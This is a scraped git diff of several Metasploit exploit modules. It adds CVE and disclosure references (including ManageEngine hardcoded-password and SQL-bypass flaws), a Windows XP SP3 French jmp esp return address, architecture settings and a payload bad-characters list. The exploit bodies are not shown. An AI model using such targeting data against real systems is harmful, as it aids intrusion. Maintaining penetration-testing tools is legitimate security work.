dns_param.contents = site + command
|
||||
dns_param.length = dns_param.contents.length
|
||||
|
||||
stream.encode
|
||||
end
|
||||
end
|
|
@ -31,6 +31,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
[ 'EDB', '38174' ],
|
||||
[ 'CVE', '2015-7765' ], # Hardcoded password
|
||||
[ 'CVE', '2015-7766' ], # SQL query bypass
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Sep/66' ],
|
||||
[ 'URL', 'https://support.zoho.com/portal/manageengine/helpcenter/articles/pgsql-submitquery-do-vulnerability' ]
|
||||
],
|
||||
'Platform' => ['java'],
|
||||
'Arch' => ARCH_JAVA,
|
||||
|
|
|
@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
['Windows XP SP2 German', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
|
||||
['Windows XP SP2 Polish', { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp
|
||||
['Windows XP SP2 French', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
|
||||
['Windows XP SP3 French', { 'Rets' => [ 1787, 0x7e3a9353 ]}], # jmp esp
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
|
|
@ -81,6 +81,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
remove_resource(get_resource)
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
def primer
|
||||
file_name = rand_text_alpha(rand(10)+5)
|
||||
file_ext = '.vbs'
|
||||
|
|
|
@ -31,7 +31,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '38173']
|
||||
['EDB', '38173'],
|
||||
['CVE', '2015-7387'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2015/Sep/59']
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'Arch' => ARCH_X86,
|
||||
|
|
|
@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -54,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'BID', '4797' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
|
|
|
@ -75,6 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue